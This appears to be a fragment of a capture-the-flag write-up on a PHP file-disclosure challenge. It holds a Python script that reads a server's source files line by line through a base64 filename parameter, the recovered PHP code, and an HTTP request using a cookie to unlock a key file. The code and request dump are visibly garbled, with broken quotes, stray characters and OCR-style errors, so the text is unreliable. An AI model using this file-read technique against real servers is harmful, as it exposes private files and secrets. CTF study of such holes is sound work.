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#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests

s=requests.Session()

url="http://120.24.86.145:8002/webl1l/index.php"’

for i in range(1,20):
payload={'line':str(i), 'filename’: 'aW5kZXgucGhw'}
a=s.get(url,params=payload).content
content=str(a,encoding="utf-8")
print(content)
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error_reporting(0);

$file=base64_decode(isset($_GET['filename'])?$ GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=="") header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(

'0' =>'keys.txt',

'1' =>'index.php',

)s

if(isset($_COOKIE[ ‘margin']) && $_COOKIE[ ‘'margin’']=="margin'){
$file_list[2]="keys.php"';

}

if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];

}

?>
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GET fwebll/index. php?line=&filenanE=aZV5cyowaHa= HITP/1. 1 " HITP/1.1 200 OK

Host: 120.241. 86. 115:8002 r Server: nginw

Cache—Control: maw-age=0 Date: Sat, 28 Oct 2017 02:23:41 GMT
User—Agent: Mozilla/5.0 (Windows NT 6.1; Winf1; x=61) AppleWebKit/537.36 Content—Type: text/html

(KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36 Comnection: close
Upgrade-Insecure-Requests: | Content-Length: 30

Accept:

text/html, application/xhtml+ueml, application/xml;q=0. 9, image/webp, image/ ap <iphp $key="KEY {key_keys} . 7>

ng, #/+:qg=0. 8

Feferer: http://123. 206A. 31. 85/challenges

Accept-Encoding: gzip, deflate
Accept-Language: zh-CI, zh, g=0. &
Cookie: margin=margin
Connection; close
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